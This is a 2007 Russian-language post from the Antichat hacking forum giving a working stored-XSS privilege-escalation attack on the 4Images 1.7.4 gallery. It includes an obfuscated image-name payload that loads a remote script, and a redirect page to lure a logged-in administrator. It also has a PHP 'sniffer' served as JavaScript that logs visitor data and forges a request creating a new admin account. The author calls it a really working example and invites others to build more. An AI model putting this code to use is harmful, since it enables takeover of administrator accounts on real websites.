Форум АНТИЧАТ - Повышение привелегий с помощью Xss

Повышение привелегий с помощью Xss

24.06.2007, 17:14

SQLHACK

Голос разума

Регистрация: 27.09.2006

Сообщений: 529

Провел на форуме:
1607210

Репутация: 1617

Отправить сообщение для SQLHACK с помощью ICQ

Повышение привелегий с помощью Xss

Подготовка.
Заливаем в галерею картинку.
в поле Image Name: вставляем

Код:

"><IMG SRC="javascript:document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,108,111,99,97,108,104,111,115,116,47,49,46,106,115,34,62,60,47,115,99,114,105,112,116,62));">

.

1. Вариант
Админу кидаем ссылку на http://virussite.com/

1. Залогиненый админ заходит на http://virussite.com/
2. Получает от сервера ответ типа

Код:

<html>
<body>
<script>location.replace("http://vulnsite.com/4images/search.php?search_new_images=1"></script>)
</script>
</body>
</html>

3. Его переадресует на страницу последних залитых картинок, а там наша XSS.

2.Вариант

Админ сам тыкает на надпись New Images.

4. Там подгружается скрипт http://oursite.com/xss.js (реально это сниффер на php который на выходе генерит JS код), который посылает запрос к админке.

код php скрипта, его называем xss.js

ЭТО РЕАЛЬНО РАБОТАЮЩИЙ ПРИМЕР ДЛЯ 4Images 1.7.4(вероятно и версии ниже)

Код:

<?php
$date=date("[d/m/Y|H:i]");
$ip=getenv("Remote_addr");
$real_ip=getenv("HTTP_X_FORWARDED_FOR");
$x_refefer=getenv("HTTP_REFERER");
$x_agent=getenv("HTTP_USER_AGENT");
$x_args=implode($argv," ");

$fp=fopen("log.txt","a");
fputs($fp,"Date:*".$date."*\t"."IP:*".$ip."*\t"."REAL IP:*".$real_ip."*\t"."REFERER:*".$x_refefer."*\t"."Agent:*".$x_agent."*\t"."ARGS:*".$x_args."*\n");
fclose($fp);

echo "
     var request = false;
     try
     {
          request = new XMLHttpRequest();
     }
     catch (trymicrosoft)
     {
          try
          {
               request = new ActiveXObject(\"Msxml2.XMLHTTP\");
          }
          catch (othermicrosoft)
               {
               
                    request = new ActiveXObject(\"Microsoft.XMLHTTP\");
              
          }
     }

     function SendRequest() {

          var url = \"/4images/admin/users.php\";
          request.open(\"POST\", url, true);
          request.onreadystatechange = updatePage;


		  var bound_x = \"-----------------------------20959323230465\\nContent-Disposition: form-data; name=\\\"\";

          var post = bound_x + \"action\"             + \"\\\"\\n\\n\" + \"saveusers\\n\";
		  post +=    bound_x + \"num\"                + \"\\\"\\n\\n\" + \"1\\n\";
		  post +=    bound_x + \"user_level_1\"       + \"\\\"\\n\\n\" + \"9\\n\";
          post +=    bound_x + \"user_name_1\"        + \"\\\"\\n\\n\" + \"username\\n\";
          post +=    bound_x + \"user_email_1\"       + \"\\\"\\n\\n\" + \"email@email.ru\\n\";
          post +=    bound_x + \"user_password_1\"    + \"\\\"\\n\\n\" + \"password\\n\";
          post +=    bound_x + \"user_homepage_1\"    + \"\\\"\\n\\n\" + \"\\n\";
          post +=    bound_x + \"user_icq_1\"         + \"\\\"\\n\\n\" + \"\\n\";
          post +=    bound_x + \"user_showemail_1\"   + \"\\\"\\n\\n\" + \"0\\n\";
          post +=    bound_x + \"user_allowemails_1\" + \"\\\"\\n\\n\" + \"0\\n\";
          post +=    bound_x + \"user_invisible_1\"   + \"\\\"\\n\\n\" + \"0\\n\";
          post +=    bound_x + \"num_newusers\"       + \"\\\"\\n\\n\" + \"1\\n\";
		  post +=    bound_x;
		  
		  request.setRequestHeader(\"Cookie\", document.cookie);
          request.setRequestHeader(\"Content-Type\", \"multipart/form-data; boundary=---------------------------20959323230465\");
          request.setRequestHeader(\"Content-Length\", post.length);
          request.send(post);
     }

     function updatePage()
     {
          if (request.readyState == 4) 
          {
               if(request.status == 200)
               {
                  // А вот сюда можно впендюрить удаление нашей картики, и обновление станицы ещё раз.
               }
          }
     }

     SendRequest();
";

?>

,и там же бросаем .htaccess c содержимым

Код:

AddType application/x-httpd-php .js

5. Запрос создаёт юзера с админскими правами. Соответственно в отчётах сниффера мы видим то что мы поимели админские права.

P.S.Сообственно код сыроват, надо поправить , но у меня не особо хватает вермени, ну хоть 1 кто нить помогите, пож-та.

P.S.S.Если это будет интересно, давайте искать XSS, и писать скрипты повышения привелегий, под разные системы.

P.S.S.S.Когда инфы наберём побольше , можно сотворить генератор js файла, чтоб автоматизировать процесс.

__________________
Бойтесь своих желаний. Они могут исполниться....

...О-о-о-о, ушами не услышать, глазами не понять!

Последний раз редактировалось SQLHACK; 30.06.2007 в 13:08..